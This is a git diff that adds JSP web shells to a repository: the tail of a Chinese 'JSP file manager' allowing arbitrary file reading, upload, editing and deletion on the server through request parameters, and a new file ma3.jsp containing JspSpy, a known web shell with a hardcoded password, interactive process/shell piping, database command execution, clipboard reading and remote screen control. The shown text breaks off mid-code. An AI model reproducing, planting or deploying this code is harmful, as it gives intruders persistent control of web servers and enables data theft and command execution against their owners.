+//----------------------------------------------------------------------------- + +//改变上传文件是的缓冲目录(一般不需要修改) +private static String tempdir = "."; + +public class FileInfo{ + public String name = null, + clientFileName = null, + fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + public void setFileContents(byte[] aByteArray){ + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +public class HttpMultiPartParser{ + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB=1024*1024*1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir) + throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) + throw new IllegalArgumentException("boundary"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0), + isFile = false; + if (saveFiles){ + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) + throw new IOException("未发现;" + +" boundary = " + boundary + +", line = " + line); + while (line != null){ + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException("出现错误!"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("出现错误!"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException("出现错误!"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()){ + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1){ + if (stFields.nextToken().trim().equalsIgnoreCase("filename")){ + fileInfo.name=paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0){ + fileInfo.clientFileName=value; + isFile = true; + } + else{ + line = getLine(is); // 去掉"Content-Type:"行 + line = getLine(is); // 去掉空白行 + line = getLine(is); // 去掉空白行 + line = getLine(is); // 定位 + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0){ + line = getLine(is); // 去掉"Content-Type:"行 + line = getLine(is); // 去掉空白行 + line = getLine(is); // 去掉空白行 + line = getLine(is); // 定位 + continue; + } + } + boolean skipBlankLine = true; + if (isFile){ + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else{ + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) + throw new IllegalArgumentException("出现错误!"); + stLine.nextToken(); + fileInfo.fileContentType=stLine.nextToken(); + } + } + if (skipBlankLine){ + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile){ + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + //判断是否为目录 + if (paramName.equals("dir")){ + saveInDir = line; + System.out.println(line); + } + line = getLine(is); + continue; + } + try{ + OutputStream os = null; + String path = null; + if (saveFiles) + os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent){ + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + break; + } + if (compareBoundary(boundary, currentLine)){ + os.write( previousLine, 0, read ); + os.flush(); + line = new String( currentLine, 0, read3 ); + break; + } + else{ + os.write( previousLine, 0, read ); + os.flush(); + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + } + } + os.close(); + temp = null; + previousLine = null; + currentLine = null; + if (!saveFiles){ + ByteArrayOutputStream baos = (ByteArrayOutputStream)os; + fileInfo.setFileContents(baos.toByteArray()); + } + else{ + fileInfo.file = new File(path); + os = null; + } + dataTable.put(paramName, fileInfo); + } + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + // 比较数据 + private boolean compareBoundary(String boundary, byte ba[]){ + byte b; + if (boundary == null || ba == null) return false; + for (int i=0; i < boundary.length(); i++) + if ((byte)boundary.charAt(i) != ba[i]) return false; + return true; + } + + + private synchronized String getLine(ServletInputStream sis) throws IOException{ + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1){ + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1); + } + b = null; + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException{ + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException("目录或者文件不存在!"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } + } + + /** + * 下面这个类是为文件和目录排序 + * @author bagheera + * @version 1.001 + */ + class FileComp implements Comparator{ + int mode=1; + /** + * @排序方法 1=文件名, 2=大小, 3=日期 + */ + FileComp (int mode){ + this.mode=mode; + } + public int compare(Object o1, Object o2){ + File f1 = (File)o1; + File f2 = (File)o2; + if (f1.isDirectory()){ + if (f2.isDirectory()){ + switch(mode){ + case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase()); + case 2:return new Long(f1.length()).compareTo(new Long(f2.length())); + case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())); + default:return 1; + } + } + else return -1; + } + else if (f2.isDirectory()) return 1; + else{ + switch(mode){ + case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase()); + case 2:return new Long(f1.length()).compareTo(new Long(f2.length())); + case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())); + default:return 1; + } + } + } + } + + + class Writer2Stream extends OutputStream{ + Writer out; + Writer2Stream (Writer w){ + super(); + out=w; + } + public void write(int i) throws IOException{ + out.write(i); + } + public void write(byte[] b) throws IOException{ + for (int i=0;i>>4)&0xF)*16+(n&0xF); + out.write (n); + } + } + public void write(byte[] b, int off, int len) throws IOException{ + for (int i=off;i>>4)&0xF)*16+(n&0xF); + out.write (n); + } + } + } + + static Vector expandFileList(String[] files, boolean inclDirs){ + Vector v = new Vector(); + if (files==null) return v; + for (int i=0;i -1 ){ + j = s.indexOf( search, i ); + if ( j > -1 ){ + s2.append( s.substring(i,j) ); + s2.append( replace ); + i = j + len; + } + } + s2.append( s.substring(i, s.length()) ); + return s2.toString(); + } + + + static String getDir (String dir, String name){ + if (!dir.endsWith(File.separator)) dir=dir+File.separator; + File mv = new File (name); + String new_dir=null; + if (!mv.isAbsolute()){ + new_dir=dir+name; + } + else new_dir=name; + return new_dir; + } +%> + +<% +request.setAttribute("dir", request.getParameter("dir")); +String browser_name = request.getRequestURI(); + +//查看文件 +if (request.getParameter("file")!=null){ + File f = new File (request.getParameter("file")); + BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f)); + int l = f.getName().lastIndexOf("."); + //判断文件后缀 + if (l>=0){ + String ext = f.getName().substring(l).toLowerCase(); + if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe")) + response.setContentType("image/jpeg"); + else if (ext.equals(".gif")) response.setContentType("image/gif"); + else if (ext.equals(".pdf")) response.setContentType("application/pdf"); + else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html"); + else if (ext.equals(".avi")) response.setContentType("video/x-msvideo"); + else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime"); + else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe")) + response.setContentType("video/mpeg"); + else if (ext.equals(".zip")) response.setContentType("application/zip"); + else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff"); + else if (ext.equals(".rtf")) response.setContentType("application/rtf"); + else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi"); + else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla") + ||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk")) + response.setContentType("application/excel"); + else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword"); + else if (ext.equals(".png")) response.setContentType("image/png"); + else if (ext.equals(".xml")) response.setContentType("text/xml"); + else if (ext.equals(".svg")) response.setContentType("image/svg+xml"); + else response.setContentType("text/plain"); + } + else response.setContentType("text/plain"); + response.setContentLength((int)f.length()); + out.clearBuffer(); + int i; + while ((i=reader.read())!=-1) out.write(i); + reader.close(); + out.flush(); +} +//保存所选中文件为zip文件 +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), false); + File dir_file = new File(""+request.getAttribute("dir")); + int dir_l = dir_file.getAbsolutePath().length(); + response.setContentType ("application/zip"); + response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\""); + out.clearBuffer(); + ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out)); + zipout.setComment("Created by JSP 文件管理器 1.001"); + for (int i=0;i

    文件"+f.getAbsolutePath()+ + "不存在或者无读权限

    "); + } +} + +else{ + if (request.getAttribute("dir")==null){ + request.setAttribute ("dir", application.getRealPath(".")); + } +%> + + + + + +<% +} +//上传 +if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){ + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + boolean error = false; + try{ + Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir); + if (ht.get("myFile")!=null){ + FileInfo fi = (FileInfo)ht.get("myFile"); + File f = fi.file; + //把文件从缓冲目录里复制出来 + String path = (String)ht.get("dir"); + if (!path.endsWith(File.separator)) path = path+File.separator; + if (!f.renameTo(new File(path+f.getName()))){ + request.setAttribute("message", "无法上传文件."); + error = true; + f.delete(); + } + } + else{ + request.setAttribute("message", "请选中上传文件!"); + error = true; + } + request.setAttribute("dir", (String)ht.get("dir")); + } + catch (Exception e){ + request.setAttribute("message", "发生如下错误:"+e+". 上传失败!"); + error = true; + } + if (!error) request.setAttribute("message", "文件上传成功."); +} +else if (request.getParameter("editfile")!=null){ +%> +JSP文件管理器-编辑文件:<%=request.getParameter("editfile")%> + + + +<% + String encoding="gb2312"; + request.setAttribute("dir", null); + File ef = new File(request.getParameter("editfile")); + BufferedReader reader = new BufferedReader(new FileReader(ef)); + String disable = ""; + if (!ef.canWrite()) disable = "无法打开文件"; + out.print("
    \n"+ + " + "> + + + + + +
    覆写
    +
    + + +<% +} +//保存文件 +else if (request.getParameter("nfile")!=null){ + File f = new File(request.getParameter("nfile")); + File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); + if (request.getParameter("Submit").equals("Save")){ + if (new_f.exists()&&request.getParameter("Backup")!=null){ + File bak = new File(new_f.getAbsolutePath()+".bak"); + bak.delete(); + new_f.renameTo(bak); + } + BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); + outs.write(request.getParameter("text")); + outs.flush(); + outs.close(); + } + request.setAttribute("dir", f.getParent()); +} +//删除文件 +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), true); + boolean error = false; + for (int i=v.size()-1;i>=0;i--){ + File f = (File)v.get(i); + if (!f.canWrite()||!f.delete()){ + request.setAttribute("message", "无法删除文件"+f.getAbsolutePath()+". 删除失败"); + error = true; + break; + } + } + if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted"); + else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted"); + else if (!error) request.setAttribute("message", "No files selected"); +} +//建新目录 +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){ + String dir = ""+request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir (dir, dir_name); + if (new File(new_dir).mkdirs()){ + request.setAttribute("message", "目录创建完成"); + } + else request.setAttribute("message", "创建新目录"+new_dir+"失败"); +} +//创建文件 +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){ + String dir = ""+request.getAttribute("dir"); + String file_name = request.getParameter("cr_dir"); + String new_file = getDir (dir, file_name); + //Test, if file_name is empty + if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){ + if (new File(new_file).createNewFile()) request.setAttribute("message", "文件成功创建"); + else request.setAttribute("message", "创建文件"+new_file+"失败"); + } + else request.setAttribute("message", "错误: "+file_name+"文件不存在"); +} +//转移文件 +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = ""+request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir+=File.separator; + for (int i=v.size()-1;i>=0;i--){ + File f = (File)v.get(i); + if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){ + request.setAttribute("message", "不能转移"+f.getAbsolutePath()+".转移失败"); + error = true; + break; + } + } + if ((!error)&&(v.size()>1)) request.setAttribute("message", "全部文件转移成功"); + else if ((!error)&&(v.size()>0)) request.setAttribute("message", "文件转移成功"); + else if (!error) request.setAttribute("message", "请选择文件"); +} +//复制文件 +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = (String)request.getAttribute("dir"); + if (!dir.endsWith(File.separator)) dir+=File.separator; + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir+=File.separator; + byte buffer[] = new byte[0xffff]; + try{ + for (int i=0;i1)) request.setAttribute("message", "全部文件复制成功"); + else if ((!error)&&(v.size()>0)) request.setAttribute("message", "文件复制成功"); + else if (!error) request.setAttribute("message", "请选择文件"); +} +//目录浏览 +if ((request.getAttribute("dir")!=null)){ +%> +JSP文件管理器-目录浏览:<%=request.getAttribute("dir")%> + + + +
    +<% if (request.getAttribute("message")!=null){ + out.println("
    "); + out.println(request.getAttribute("message")); + out.println("
    "); +} +%> +
    + +<% + String dir = URLEncoder.encode(""+request.getAttribute("dir")); + String cmd = browser_name+"?dir="+dir; + out.println(""+ + ""+ + ""+ + ""); + char trenner=File.separatorChar; + File f=new File(""+request.getAttribute("dir")); + //跟或者分区 + File[] entry=File.listRoots(); + for (int i=0;i"); + out.println(""); + + } + out.println("
    "); + //.. + if (f.getParent()!=null){ + out.println(""); + out.println(""); + } + //文件和目录 + entry=f.listFiles(); + if (entry!=null&&entry.length>0){ + int mode=1; + if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort")); + Arrays.sort(entry, new FileComp(mode)); + String ahref = "["+buf+"]"; + else + link = "["+buf+"]"; + } + else{ + if (entry[i].canRead()){ + if (entry[i].canWrite()){ + link=ahref+browser_name+"?file="+name+"\">"+buf+""; + dlink=ahref+browser_name+"?downfile="+name+"\">下载"; + elink=ahref+browser_name+"?editfile="+name+"\">编辑"; + } + else{ + link=ahref+browser_name+"?file="+name+"\">"+buf+""; + dlink=ahref+browser_name+"?downfile="+name+"\">下载"; + elink=ahref+browser_name+"?editfile="+name+"\">查看"; + } + } + else{ + link = buf; + } + } + String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified())); + out.println(""); + out.println(""); + out.println(""); + } + } +%> +
    文件名大小日期  ※切换到相应盘符:"); + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String buf = entry[i].getAbsolutePath(); + out.println("◎["+buf+"]"); + out.println("
    "); + out.println("[..]"); + out.println("
    "+link+""+entry[i].length()+ + " bytes"+ + date+"" + +dlink+""+elink+"
    + +"> + + + + + + + + + +
    +
    + +
    + + + + + +
    "> +
    +
    +
    +
    JSP 文件管理器 v1.001 By Bagheerahttp://jmmm.com +
    +
    + + +<% +} +%> diff --git a/jsp/ma3.jsp b/jsp/ma3.jsp new file mode 100644 index 0000000..57098eb --- /dev/null +++ b/jsp/ma3.jsp @@ -0,0 +1,2317 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +private static final String PW = "xuying"; +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
    "); +str = str.replace("\n","
    "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
    "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
    "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
    " + msg; +out.write("
    "+msg+"
    "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    System Clipboard »

    "+ +"

    ");
    +try{
    +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
    +}catch (Exception ex) {
    +out.println("ClipBoard is Empty Or Is Not Text Data !");
    +}
    +out.println("
    "+ +" "+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    Remote Control »

    "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

    "+ +"
